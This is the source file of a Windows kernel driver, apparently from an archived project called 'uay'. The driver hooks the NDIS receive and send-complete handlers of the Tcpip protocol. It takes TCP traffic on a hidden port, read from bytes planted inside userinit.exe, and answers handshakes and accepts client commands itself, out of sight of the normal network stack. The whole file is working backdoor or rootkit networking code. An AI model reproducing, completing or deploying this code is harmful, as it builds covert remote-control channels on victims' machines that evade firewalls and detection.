www.pudn.com > uay_source.rar > NdisHook.c


/// 
//	uty@uaty 
/// 
#include  
#include "dummyprotocolfunc.h" 
#include "structs.h" 
 
typedef 
struct _SIGNANDPORT{ 
	unsigned int sign; 
	unsigned int port; 
}SIGNANDPORT,*PSIGNANDPORT; 
 
//not used 
/* 
typedef 
struct _SYNACKPACKET{ 
	ULONG	sign; 
	ULONG	BufferAddress; 
}SYNACKPACKET,*PSYNACKPACKET; 
*/ 
// 
typedef struct _OSVERSIONINFOEXW { 
    ULONG dwOSVersionInfoSize; 
    ULONG dwMajorVersion; 
    ULONG dwMinorVersion; 
    ULONG dwBuildNumber; 
    ULONG dwPlatformId; 
    WCHAR  szCSDVersion[ 128 ];     // Maintenance string for PSS usage 
    USHORT wServicePackMajor; 
    USHORT wServicePackMinor; 
    USHORT wSuiteMask; 
    UCHAR wProductType; 
    UCHAR wReserved; 
} OSVERSIONINFOEXW, *POSVERSIONINFOEXW, *LPOSVERSIONINFOEXW, RTL_OSVERSIONINFOEXW, *PRTL_OSVERSIONINFOEXW; 
 
typedef struct _OSVERSIONINFOW { 
    ULONG dwOSVersionInfoSize; 
    ULONG dwMajorVersion; 
    ULONG dwMinorVersion; 
    ULONG dwBuildNumber; 
    ULONG dwPlatformId; 
    WCHAR  szCSDVersion[ 128 ];     // Maintenance string for PSS usage 
} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW; 
 
//-------------------------------------------------------------------- 
///mAcros 
//#define	OURPORT	9929 
#define MAX_PATH	260 
//-------------------------------------------------------------------- 
////globAl vAr 
HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext = NULL; 
NDIS_HANDLE		m_ourPAcketPoolHAndle	= NULL; 
NDIS_HANDLE		m_ourBufferPoolHAndle	= NULL; 
//for ProtocolReceive 
PNDIS_PACKET	m_ourPAcketHAndle		= NULL; 
PNDIS_BUFFER	m_ourBufferHAndle		= NULL; 
PVOID			m_ourBuffer				= NULL; 
// 
PKEVENT			g_puSendEvent; 
PLARGE_INTEGER	g_pTimeOut; 
ULONG			OURPORT; 
//-------------------------------------------------------------------- 
//defined in ubd_sys.c 
extern	TCPS_Connection		g_ConnectionSpAce[MAX_CONNECTIONS]; 
extern	RECVLISTHEAD		g_RecvListHeAd; 
extern	SENDLISTHEAD		g_SendListHeAd; 
// 
//NDIS_HANDLE		g_pBindAdaptHandle; 
//-------------------------------------------------------------------- 
////proto function 
NTSTATUS 
RtlGetVersion( 
	PRTL_OSVERSIONINFOW  lpVersionInformation 
	); 
///////// 
VOID 
OnUnloAd(  
	IN PDRIVER_OBJECT DriverObject 
	); 
 
VOID 
HookFuncBlock( 
	CHAR* ProtocolContent 
	); 
 
HOOK_CONTEXT_STRUCT* 
HookNdisFunc( 
	PVOID pHookProc, 
	PVOID *ppOrigProc, 
	PVOID pBindAdAptHAndle, 
	PVOID pProtocolContent 
	); 
 
HOOK_CONTEXT_STRUCT* 
IsHookedNdisFunc( 
	PVOID pAddr 
	); 
 
HOOK_CONTEXT_STRUCT* 
IsHookedNdisFuncEx( 
	PVOID	*pAddr 
	); 
 
ULONG 
HookProtocol( 
	VOID 
	); 
 
NDIS_STATUS	 
HookProtocolReceive( 
	IN	HOOK_CONTEXT_STRUCT	*pOurContext, 
	IN	NDIS_HANDLE			ProtocolBindingContext, 
	IN	NDIS_HANDLE			MAcReceiveContext, 
	IN	PVOID				HeAderBuffer, 
	IN	UINT				HeAderBufferSize, 
	IN	PVOID				LookAheAdBuffer, 
	IN	UINT				LookAheAdBufferSize, 
	IN	UINT				PAcketSize 
	); 
 
INT 
HookProtocolReceivePAcket( 
	IN	HOOK_CONTEXT_STRUCT	*pOurContext, 
	IN	NDIS_HANDLE			ProtocolBindingContext, 
	IN	PNDIS_PACKET		PAcket 
	); 
 
VOID 
ReAdPAcket( 
	PNDIS_PACKET	PAcket, 
	PVOID			pBuffer, 
	ULONG			ulBufSize 
	); 
 
ULONG 
HAndlePAcket( 
	HOOK_CONTEXT_STRUCT		*pOurContext, 
	PNDIS_PACKET			pPAcket 
	); 
 
ULONG 
HAndleBuffer( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID				pBuffer, 
	ULONG				PAcketSize 
	); 
 
VOID 
HookProtocolSendComplete( 
	IN	HOOK_CONTEXT_STRUCT *pOurContext, 
	IN	NDIS_HANDLE		ProtocolBindingContext, 
	IN	PNDIS_PACKET	PAcket, 
	IN	NDIS_STATUS		StAtus 
	); 
 
USHORT 
checksum( 
	USHORT	*buff, 
	ULONG	size 
	); 
 
NTSTATUS  
SendSYNACKPAcket( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID pBuffer 
	); 
 
NTSTATUS 
SendACKPAcket( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID				pBuffer 
	); 
 
NTSTATUS 
GetPAcketDAtA( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID pBuffer 
	); 
 
NTSTATUS 
SendACKPAcketToSendList( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID pBuffer 
	); 
 
NTSTATUS 
SendSYNACKPAcketToSendList( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID pBuffer 
	); 
 
ULONG  
HAndleReceivePAcket( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	ULONG TotAlPAcketSize, 
	PVOID pHeAdBuffer, 
	ULONG ulHeadSize, 
	PNDIS_PACKET pPAcket 
	); 
 
NTSTATUS 
TCPS_StArtup( 
	PDEVICE_OBJECT pDeviceObject 
	); 
 
NTSTATUS 
AddRecvDAtAToList( 
	PRECVLISTHEAD pRecvListHeAd, 
	char*	dAtA, 
	ULONG	RecvDAtALength, 
	PTCPS_Connection pConnection 
	); 
 
PRECVLIST 
RemoveRecvDAtAFromList( 
	PRECVLISTHEAD pRecvListHeAd 
	); 
 
ULONG 
SetConnection( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID				pBuffer 
	); 
 
NTSTATUS 
UpDAteConnection( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID pBuffer 
	); 
 
VOID 
RemoveSendDAtAFromList( 
	PSENDLISTHEAD pSendListHeAd 
	); 
 
NTSTATUS 
Disconnect( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID pBuffer 
	); 
 
NTSTATUS 
SendDisconnectMessAgeToSendlist( 
		HOOK_CONTEXT_STRUCT *pOurContext, 
		PVOID pBuffer 
		); 
 
NTSTATUS 
AddSendDAtAToList( 
	PSENDLISTHEAD		pSendListHeAd, 
	CHAR*				dAtA, 
	ULONG				SendDAtALength, 
	PTCPS_Connection	pConnection 
	); 
 
NTSTATUS 
AddSendDAtAToListAtFront( 
	PSENDLISTHEAD		pSendListHeAd, 
	CHAR*				dAtA, 
	ULONG				SendDAtALength, 
	PTCPS_Connection	pConnection 
	); 
 
NTSTATUS 
UpDAteConnectionSYN( 
	HOOK_CONTEXT_STRUCT *pOurContext, 
	PVOID pBuffer 
	); 
 
USHORT 
CountChecksum( 
	PVOID		pBuffer 
	); 
 
ULONG 
GetTheListeningPort( 
	VOID 
	); 
 
VOID 
InitWorkThreAd( 
	PVOID	pContext 
	); 
 
//-------------------------------------------------------------------- 
VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject ) 
{ 
	//DbgPrint("My Driver UnloAded!\n"); 
} 
//-------------------------------------------------------------------- 
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) 
{ 
 
	NTSTATUS	stAtus; 
	HANDLE		hThreAd; 
	 
 
	DbgPrint("Driver begin!\n"); 
 
	DriverObject->DriverUnload = OnUnloAd; 
 
	stAtus = PsCreateSystemThread(&hThreAd, 
									(ACCESS_MASK)0, 
									NULL, 
									(HANDLE)0, 
									NULL, 
									InitWorkThreAd, 
									DriverObject 
									); 
									 
	if (!NT_SUCCESS(stAtus)){ 
		DbgPrint("error when creAte the threAd\n"); 
		return FALSE; 
	} 
 
	 
 
	 
 
	 
	return STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
VOID InitWorkThreAd(PVOID	pContext) 
{ 
	PDEVICE_OBJECT		pDeviceObject; 
	NTSTATUS			stAtus; 
	WCHAR				deviceNAmeBuffer[] = L"\\Device\\uaty";//chAnge the nAme if hAve time 
	UNICODE_STRING		deviceNAmeUnicodeString; 
	//DriverObject->DriverUnload	= fuktdi_UnloAd; 
	RtlInitUnicodeString( 
		&deviceNAmeUnicodeString, 
		deviceNAmeBuffer 
		); 
 
	stAtus = IoCreateDevice( 
					pContext, 
					0,//sizeof(DEVICE_EXTENSION),//do i hAve this? 
					&deviceNAmeUnicodeString, 
					FILE_DEVICE_UNKNOWN,//whAt's this 
					0, 
					TRUE, 
					&pDeviceObject 
					); 
 
 
	//ndis initiAliztion 
	g_puSendEvent	= ExAllocatePool(NonPagedPool,sizeof(KEVENT)); 
	g_pTimeOut		= ExAllocatePool(NonPagedPool,sizeof(LARGE_INTEGER)); 
	//g_pTimeOut->HighPart	= 0; 
	g_pTimeOut->QuadPart	= -10000000;//i don't know how mush is better.now 1 seconds 
 
	KeInitializeEvent( 
		g_puSendEvent, 
		SynchronizationEvent, 
		FALSE 
		); 
	 
 
	NdisAllocatePacketPool(&stAtus,&m_ourPAcketPoolHAndle,0xFFF,0x30); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAtePAcketPool fAiled\n"); 
		goto InitWorkThreAd_end; 
	} 
	NdisAllocateBufferPool(&stAtus,&m_ourBufferPoolHAndle,0x30); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAteBufferPool fAiled\n"); 
		goto InitWorkThreAd_end; 
	} 
	NdisAllocateMemoryWithTag(&m_ourBuffer,MAX_PACKET_SIZE,'ytaU'); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAteMemoryWithTAg fAiled\n"); 
		goto InitWorkThreAd_end; 
	} 
	NdisAllocateBuffer(&stAtus,&m_ourBufferHAndle,m_ourBufferHAndle,m_ourBuffer,MAX_PACKET_SIZE); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAteBuffer fAiled\n"); 
		goto InitWorkThreAd_end; 
	} 
	NdisAllocatePacket(&stAtus,&m_ourPAcketHAndle,m_ourPAcketPoolHAndle); 
	if(stAtus != NDIS_STATUS_SUCCESS){ 
		//DbgPrint("NdisAllocAtePAcket fAiled\n"); 
		goto InitWorkThreAd_end; 
	} 
	NdisChainBufferAtFront(m_ourPAcketHAndle,m_ourBufferHAndle); 
 
	//get the listing port for userinit.exe 90 bytes to the front 
	OURPORT = GetTheListeningPort(); 
 
	// 
	TCPS_StArtup(pDeviceObject); 
 
	//hook ndis 
	HookProtocol(); 
 
InitWorkThreAd_end: 
	PsTerminateSystemThread(STATUS_SUCCESS); 
	DbgPrint("Never be here \n"); 
 
} 
//-------------------------------------------------------------------- 
ULONG	GetTheListeningPort(VOID) 
{ 
	RTL_OSVERSIONINFOEXW	osversion = {0}; 
	UNICODE_STRING			pAth; 
	SIGNANDPORT				SignAndPort; 
	OBJECT_ATTRIBUTES		oA; 
	HANDLE					hFile; 
	NTSTATUS				stAtus; 
	IO_STATUS_BLOCK			IoStAtusBlock; 
	LARGE_INTEGER			ByteOffset; 
 
	osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW); 
	RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion); 
	if(osversion.dwMajorVersion == 4){ 
		RtlInitUnicodeString(&pAth,L"\\??\\C:\\WINNT\\System32\\userinit.exe"); 
	} 
	else if(osversion.dwMajorVersion == 5){ 
		if(osversion.dwMinorVersion >= 1){ 
			RtlInitUnicodeString(&pAth,L"\\??\\C:\\WINDOWS\\System32\\userinit.exe"); 
		} 
		else{ 
			RtlInitUnicodeString(&pAth,L"\\??\\C:\\WINNT\\System32\\userinit.exe"); 
		} 
	} 
	else{ 
		//DbgPrint("1 listening on port 9929\n"); 
		return 9929; 
	} 
 
	InitializeObjectAttributes( 
		&oA, 
		&pAth, 
		OBJ_CASE_INSENSITIVE, 
		NULL, 
		NULL 
		); 
 
	stAtus = ZwOpenFile( 
				&hFile, 
				GENERIC_READ, 
				&oA, 
				&IoStAtusBlock, 
				FILE_SHARE_READ, 
				FILE_NON_DIRECTORY_FILE 
				); 
 
 
	ByteOffset.HighPart = 0; 
	ByteOffset.LowPart	= 90;//when instAll,i wrote it there 
	stAtus = ZwReadFile( 
				hFile, 
				NULL, 
				NULL, 
				NULL, 
				&IoStAtusBlock, 
				&SignAndPort, 
				sizeof(SIGNANDPORT), 
				&ByteOffset, 
				NULL 
				); 
	ZwClose(hFile); 
 
	if(IoStAtusBlock.Status != STATUS_SUCCESS){ 
		//DbgPrint("2 listening on port 9929\n"); 
		return 9929; 
	} 
 
	DbgPrint("listening on port %d\n",SignAndPort.port); 
	if(SignAndPort.sign == 0xAABBCCDD){ 
		return SignAndPort.port; 
	}else{ 
		return 9929; 
	} 
} 
//-------------------------------------------------------------------- 
ULONG	HookProtocol(VOID) 
{ 
	NDIS_PROTOCOL_CHARACTERISTICS	ourNPC; 
	NDIS_STRING	protoNAme = NDIS_STRING_CONST("HdFw_Slot"); 
	NDIS_STATUS	StAtus; 
	NDIS_HANDLE	ourProtocolHAndle = NULL; 
	CHAR*	ProtocolChAin; 
	ULONG	offset; 
	ULONG	len; 
 
	memset(&ourNPC,0,sizeof(NDIS_PROTOCOL_CHARACTERISTICS)); 
	len = sizeof(NDIS_PROTOCOL_CHARACTERISTICS); 
	ourNPC.MajorNdisVersion = 0x05; 
	ourNPC.MinorNdisVersion	= 0x00; 
 
	ourNPC.Name							= protoNAme; 
	ourNPC.OpenAdapterCompleteHandler	= PtOpenAdApterComplete; 
	ourNPC.CloseAdapterCompleteHandler	= PtCloseAdApterComplete; 
	ourNPC.SendCompleteHandler			= PtSendComplete; 
	ourNPC.TransferDataCompleteHandler	= PtTrAnsferDAtAComplete; 
	ourNPC.ResetCompleteHandler			= PtResetComplete; 
	ourNPC.RequestCompleteHandler		= PtRequestComplete; 
	ourNPC.ReceiveHandler				= PtReceive; 
	ourNPC.ReceiveCompleteHandler		= PtReceiveComplete; 
	ourNPC.StatusHandler				= PtStAtus; 
	ourNPC.StatusCompleteHandler		= PtStAtusComplete; 
	ourNPC.BindAdapterHandler			= PtBindAdApter; 
	ourNPC.UnbindAdapterHandler			= PtUnbindAdApter; 
	ourNPC.UnloadHandler				= NULL;//PtUnloAd; 
	ourNPC.ReceivePacketHandler			= PtReceivePAcket; 
	ourNPC.PnPEventHandler				= PtPNPHAndler; 
 
	NdisRegisterProtocol(&StAtus,&ourProtocolHAndle,&ourNPC,len); 
	if(!NT_SUCCESS(StAtus) || ourProtocolHAndle == NULL){ 
		return FALSE; 
	} 
 
	//NdisRegisterProtocol  return hAnd reference of NDIS_PROTOCOL_BLOCK; 
	ProtocolChAin = (CHAR*)ourProtocolHAndle; 
	while(1){ 
		offset = 0x10; 
		ProtocolChAin = ((CHAR**)(ProtocolChAin + offset))[0]; 
		if (ProtocolChAin == NULL){ 
			break; 
		} 
		HookFuncBlock(ProtocolChAin); 
	} 
 
	NdisDeregisterProtocol(&StAtus,ourProtocolHAndle); 
 
	return TRUE; 
} 
//-------------------------------------------------------------------- 
VOID HookFuncBlock(CHAR* ProtocolContent) 
{ 
	PNDIS_PROTOCOL_CHARACTERISTICS	pProChAr; 
	NDIS_STRING	TcpipString	= NDIS_STRING_CONST("Tcpip"); 
	if(ProtocolContent == NULL){ 
		return; 
	} 
	pProChAr = (PNDIS_PROTOCOL_CHARACTERISTICS)(ProtocolContent + 0x14); 
	if(KeGetCurrentIrql() == PASSIVE_LEVEL){ 
		if(RtlCompareUnicodeString(&pProChAr->Name,&TcpipString,TRUE) != 0){ 
			return; 
		} 
	} 
	HookNdisFunc(HookProtocolReceive,(PVOID*)&pProChAr->ReceiveHandler,NULL,ProtocolContent); 
	HookNdisFunc(HookProtocolReceivePAcket,(PVOID*)&pProChAr->ReceivePacketHandler,NULL,ProtocolContent); 
	//HookNdisFunc(HookBindAdApterHAndler,(PVOID*)&pProChAr->BindAdapterHandler,NULL,ProtocolContent); 
	HookNdisFunc(HookProtocolSendComplete,(PVOID*)&pProChAr->SendCompleteHandler,NULL,ProtocolContent); 
 
	//just cAre About ndis 5 
	if(1/*m_dwMajorVersion == 0x05*/){ 
		PNDIS_OPEN_BLOCK	pNdisOpenBlock; 
		pNdisOpenBlock = ((PNDIS_OPEN_BLOCK*)ProtocolContent)[0]; 
 
 
		while(pNdisOpenBlock){ 
			//HookNdisFunc(HookProtocolSend,(PVOID*)&pNdisOpenBlock->SendHandler,pNdisOpenBlock,ProtocolContent); 
			//HookNdisFunc(HookProtocolReceive,(PVOID*)&pNdisOpenBlock->PostNt32ReceiveHandlerHandler,pNdisOpenBlock,ProtocolContent); 
 
			HookNdisFunc(HookProtocolReceive,(PVOID*)&pNdisOpenBlock->ReceiveHandler,pNdisOpenBlock,ProtocolContent); 
			HookNdisFunc(HookProtocolReceivePAcket,(PVOID*)&pNdisOpenBlock->ReceivePacketHandler,pNdisOpenBlock,ProtocolContent); 
			HookNdisFunc(HookProtocolSendComplete,(VOID*)&pNdisOpenBlock->SendCompleteHandler,pNdisOpenBlock,ProtocolContent); 
			//HookNdisFunc(HookProtocolSendPAckets,(PVOID*)&pNdisOpenBlock->SendPacketsHandler,pNdisOpenBlock,ProtocolContent); 
			pNdisOpenBlock = pNdisOpenBlock->ProtocolNextOpen; 
		} 
	} 
	return; 
} 
//-------------------------------------------------------------------- 
HOOK_CONTEXT_STRUCT	*HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent) 
{ 
	HOOK_CONTEXT_STRUCT	*pHookContext; 
	PVOID	OrgFunc; 
 
	pHookContext = IsHookedNdisFunc(ppOrigProc[0]); 
	if(pHookContext){ 
		OrgFunc = pHookContext->m_pOriginalProc; 
	} 
	else{ 
		OrgFunc = ppOrigProc[0]; 
	} 
	if (OrgFunc == NULL){ 
		return NULL; 
	} 
 
	pHookContext = IsHookedNdisFuncEx(ppOrigProc); 
	if(pHookContext){ 
		return pHookContext; 
	} 
 
	NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU'); 
	if(pHookContext == NULL){ 
		return NULL; 
	} 
	memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT)); 
 
	pHookContext->code1_0x58 = 0x58; 
	pHookContext->code2_0x68 = 0x68; 
	pHookContext->code3_0x50 = 0x50; 
	pHookContext->code4_0xE9 = 0xE9; 
 
	pHookContext->m_pHookContext		= pHookContext; 
	pHookContext->m_pHookProcOffset		= ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG)); 
	pHookContext->m_pBindAdaptHandle	= pBindAdAptHAndle; 
	pHookContext->m_pProtocolContent	= pProtocolContent; 
	pHookContext->m_pOriginalProc		= OrgFunc; 
	pHookContext->m_ppOriginPtr			= ppOrigProc; 
	pHookContext->m_pHookProc			= pHookProc; 
	pHookContext->m_pHookNext			= m_pOurAllOfHookContext; 
	m_pOurAllOfHookContext				= pHookContext; 
 
	ppOrigProc[0] = pHookContext; 
 
	return pHookContext; 
} 
//-------------------------------------------------------------------- 
HOOK_CONTEXT_STRUCT* IsHookedNdisFunc(PVOID pAddr) 
{ 
	HOOK_CONTEXT_STRUCT	*pHookContext; 
	pHookContext	= m_pOurAllOfHookContext; 
	while(pHookContext){ 
		if(pHookContext == pAddr){ 
			break; 
		} 
		pHookContext = pHookContext->m_pHookNext; 
	} 
	return pHookContext; 
} 
//-------------------------------------------------------------------- 
HOOK_CONTEXT_STRUCT* IsHookedNdisFuncEx(PVOID	*pAddr) 
{ 
	HOOK_CONTEXT_STRUCT	*pHookContext; 
	pHookContext	= m_pOurAllOfHookContext; 
	while(pHookContext){ 
		if(pHookContext->m_ppOriginPtr == pAddr){ 
			break; 
		} 
		pHookContext = pHookContext->m_pHookNext; 
	} 
	return pHookContext; 
} 
//-------------------------------------------------------------------- 
NDIS_STATUS	 
HookProtocolReceive( 
	IN	HOOK_CONTEXT_STRUCT	*pOurContext, 
	IN	NDIS_HANDLE			ProtocolBindingContext, 
	IN	NDIS_HANDLE			MAcReceiveContext, 
	IN	PVOID				HeAderBuffer, 
	IN	UINT				HeAderBufferSize, 
	IN	PVOID				LookAheAdBuffer, 
	IN	UINT				LookAheAdBufferSize, 
	IN	UINT				PAcketSize 
	) 
{ 
	NTSTATUS	stAtus = NDIS_STATUS_SUCCESS; 
	ULONG		result = FALSE; 
	//DbgPrint("in HookProtocolReceive\n"); 
	if(pOurContext){ 
		if(pOurContext->m_pBindAdaptHandle){ 
			ULONG	len = 0; 
			if(PAcketSize > LookAheAdBufferSize){ 
				NdisTransferData( 
					&stAtus, 
					pOurContext->m_pBindAdaptHandle, 
					MAcReceiveContext, 
					0, 
					PAcketSize, 
					m_ourPAcketHAndle, 
					&len 
					); 
			} 
			else{ 
				NdisMoveMemory(m_ourBuffer,LookAheAdBuffer,PAcketSize); 
			} 
			if(stAtus == NDIS_STATUS_SUCCESS){ 
				//do whAt we wAnt here 
				//equAl to HookFilterPAcket() 
				result = HAndleReceivePAcket( 
					pOurContext, 
					PAcketSize, 
					HeAderBuffer, 
					HeAderBufferSize, 
					m_ourPAcketHAndle 
					); 
			} 
			else if(stAtus == NDIS_STATUS_PENDING){ 
				//这里回出问题,如果这个包被送回,连接就会被上面的protocol中断 
				//1.把包丢掉,这样其他正常的tcp连接希望他们会重传而不再经过这里 
				//2.把包传下去,这样我们的连接被中断 
				//暂时选2 
				result = FALSE; 
			} 
			if(result){ 
				return NDIS_STATUS_NOT_ACCEPTED; 
			} 
			else{ 
				stAtus = ((RECEIVE_HANDLER)pOurContext->m_pOriginalProc)( 
					ProtocolBindingContext, 
					MAcReceiveContext, 
					HeAderBuffer, 
					HeAderBufferSize, 
					LookAheAdBuffer, 
					LookAheAdBufferSize, 
					PAcketSize 
					); 
			}//end else 
		} 
	} 
	return stAtus; 
} 
//-------------------------------------------------------------------- 
INT 
HookProtocolReceivePAcket( 
	IN	HOOK_CONTEXT_STRUCT	*pOurContext, 
	IN	NDIS_HANDLE			ProtocolBindingContext, 
	IN	PNDIS_PACKET		PAcket 
	) 
{ 
	NTSTATUS	stAtus = NDIS_STATUS_SUCCESS; 
	ULONG		result; 
	//DbgPrint("in HookProtocolReceivePAcket\n"); 
	if(pOurContext){ 
		//most of opeAtions we do in HAndlePAcket 
		result = HAndlePAcket(pOurContext,PAcket); 
		if(result){ 
			return NDIS_STATUS_NOT_ACCEPTED; 
		} 
		else{ 
			stAtus = ((RECEIVE_PACKET_HANDLER)pOurContext->m_pOriginalProc)( 
				ProtocolBindingContext, 
				PAcket 
				); 
		} 
	} 
	return stAtus; 
} 
//-------------------------------------------------------------------- 
ULONG HAndlePAcket(HOOK_CONTEXT_STRUCT *pOurContext,PNDIS_PACKET pPAcket) 
{ 
	ULONG			PAcketSize; 
	PVOID			pBuffer = NULL; 
	NTSTATUS		stAtus; 
	ULONG			result = TRUE; 
	PNDIS_BUFFER	firstBuffer,nextBuffer; 
 
	NdisQueryPacket(pPAcket,NULL,NULL,NULL,&PAcketSize); 
	if(PAcketSize < sizeof(ETHHDR)){ 
		return TRUE; 
	} 
	stAtus = NdisAllocateMemoryWithTag(&pBuffer,PAcketSize,'ytaU'); 
	if(stAtus != NDIS_STATUS_SUCCESS || pBuffer == NULL){ 
		return TRUE; 
	} 
	ReAdPAcket(pPAcket,pBuffer,PAcketSize); 
	//get the pAcket's buffer 
	result = HAndleBuffer(pOurContext,pBuffer,PAcketSize); 
 
	NdisFreeMemory(pBuffer,PAcketSize,0); 
	return result; 
} 
//-------------------------------------------------------------------- 
VOID ReAdPAcket(PNDIS_PACKET PAcket,PVOID pBuffer,ULONG ulBufSize) 
{ 
	PVOID			virtuAlAddress; 
	PNDIS_BUFFER	firstBuffer,nextBuffer; 
	ULONG			totAlLength; 
	ULONG			len; 
	PVOID			pBuf	= NULL; 
	ULONG			count	= 0; 
 
	NdisQueryPacket(PAcket,NULL,NULL,&firstBuffer,NULL); 
	while(firstBuffer != NULL){ 
		NdisQueryBufferSafe(firstBuffer,&virtuAlAddress,&len,NormalPagePriority ); 
		if(!virtuAlAddress){ 
			break; 
		} 
		if(count + len > ulBufSize){ 
			break; 
		} 
		NdisMoveMemory(&((CHAR*)pBuffer)[count],virtuAlAddress,len); 
		count += len; 
		NdisGetNextBuffer(firstBuffer,&nextBuffer); 
		firstBuffer = nextBuffer; 
	} 
	return; 
} 
//-------------------------------------------------------------------- 
ULONG HAndleBuffer(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer,ULONG PAcketSize) 
{ 
	NTSTATUS	stAtus; 
	//if result is FALSE,then the pAcket will be send to up level,if TRUE,we throw it AwAy 
	ULONG		result = FALSE; 
	USHORT		proto; 
	PETHHDR		pEthHdr = NULL; 
	PIPHDR		pIpHdr	= NULL; 
	PTCPHDR		pTcpHdr = NULL; 
 
	PTCPS_Connection pConnection; 
	ULONG		i; 
 
	pEthHdr = (PETHHDR)pBuffer; 
	proto = pEthHdr->h_proto; 
 
	switch(NTOHS(proto)) 
	{ 
		case ETH_P_IP: 
		{ 
			pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR)); 
			//DbgPrint("protocol: %d\n",pIpHdr->protocol);//debug 
			if(pIpHdr->protocol == IPPROTO_TCP){ 
				pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4); 
				//DbgPrint("from port %d to port %d\n",NTOHS(pTcpHdr->source),NTOHS(pTcpHdr->dest));//debug 
				 
				if(NTOHS(pTcpHdr->dest) != OURPORT){ 
					return FALSE; 
				} 
				else{ 
					/* 
					//本来想在这里建立出错重传的,,不过还是算了,, 
					USHORT	Checksum; 
					Checksum = CountChecksum(pBuffer); 
					 
					if(Checksum != pTcpHdr->check){ 
						if(pTcpHdr->syn){ 
							//do nothing 
							//return FALSE; 
						} 
						else{ 
							//resend(); 重传下sendlist里的包,不知道这样行不行? debug 
							KeSetEvent( 
								g_puSendEvent, 
								0, 
								FALSE 
								); 
							return TRUE; 
						} 
					} 
					*/ 
 
					//if the received Ack,seq is not whAt we expected,then ignore it,if it's syn or rst pAcket,we do nothing 
					if (!pTcpHdr->syn && !pTcpHdr->rst){ 
						for(i = 0;i < MAX_CONNECTIONS;i ++){ 
							//通过ip和源端口判断是哪个连接 
							//see which connection this pAcket belongs to 
							if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source  
								&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr 
								) 
							{ 
								pConnection = &g_ConnectionSpAce[i]; 
								DbgPrint("expected seq %d\nexpected Ack %d\n",NTOHL(pConnection->m_ExpectedSeq),NTOHL(pConnection->m_ExpectedAck_seq)); 
								DbgPrint("received seq %d\nreceived Ack %d\n",NTOHL(pTcpHdr->seq),NTOHL(pTcpHdr->ack_seq)); 
								if(pTcpHdr->seq != pConnection->m_ExpectedSeq || pTcpHdr->ack_seq != pConnection->m_ExpectedAck_seq){ 
									return TRUE; 
								} 
								 
							} 
						} 
						if(pConnection == NULL){ 
							return TRUE; 
						} 
					} 
					// //////// 
 
 
					if(pTcpHdr->syn){ 
						//回SYN ACK 
						result = SetConnection(pOurContext,pBuffer); 
						//如果SetConnection返回FALSE,表示已经超过最大连接数(32)(可能包括已断的连接未释放connection),不再处理连接请求 
						if (result){ 
							UpDAteConnectionSYN(pOurContext,pBuffer); 
							 
							//send A pAcket with SYN ACK 
							SendSYNACKPAcketToSendList(pOurContext,pBuffer); 
							//when set g_puSendEvent to signAled, At the sAme time if sendlist hAve items,then send the first one 
							KeSetEvent( 
								g_puSendEvent, 
								0, 
								FALSE 
								);							 
						} 
					} 
					else if(pTcpHdr->psh){ 
						if(pTcpHdr->ack){ 
							//收到Ack后就该释放上个包 
							//when receive the Ack pAcket,meAns the lAst pAcket we send wAs successfully Arrived 
							UpDAteConnection(pOurContext,pBuffer); 
							//remove lAst pAcket we sent  
							RemoveSendDAtAFromList(&g_SendListHeAd); 
							KeSetEvent( 
								g_puSendEvent, 
								0, 
								FALSE 
								); 
						} 
						SendACKPAcketToSendList(pOurContext,pBuffer); 
						//mAke the pAcket be sent 
						KeSetEvent( 
							g_puSendEvent, 
							0, 
							FALSE 
							); 
						//GetPAcketDAtA 把得到的数据加入到recvlist 
						//we get commAnd from client 
						GetPAcketDAtA(pOurContext,pBuffer); 
 
						UpDAteConnection(pOurContext,pBuffer); 
						result = TRUE; 
					} 
					else if(pTcpHdr->fin || pTcpHdr->rst){	 
						DbgPrint("received rst or fin\n"); 
						// 
						SendDisconnectMessAgeToSendlist(pOurContext,pBuffer); 
						//Disconnect(pOurContext,pBuffer); 
						/* 
						KeSetEvent( 
								g_puSendEvent, 
								0, 
								FALSE 
								); 
								*/ 
						result = TRUE; 
					} 
					else if(pTcpHdr->ack){ 
						//when receive the Ack pAcket,meAns the lAst pAcket we send wAs successfully Arrived 
						UpDAteConnection(pOurContext,pBuffer); 
						RemoveSendDAtAFromList(&g_SendListHeAd); 
						KeSetEvent( 
							g_puSendEvent, 
							0, 
							FALSE 
							); 
						result = TRUE; 
					} 
				}//end else 
 
			} 
 
		} 
		case ETH_P_ARP: 
			break; 
		case ETH_P_RARP: 
			break; 
		default: 
			break; 
	} 
	return result; 
} 
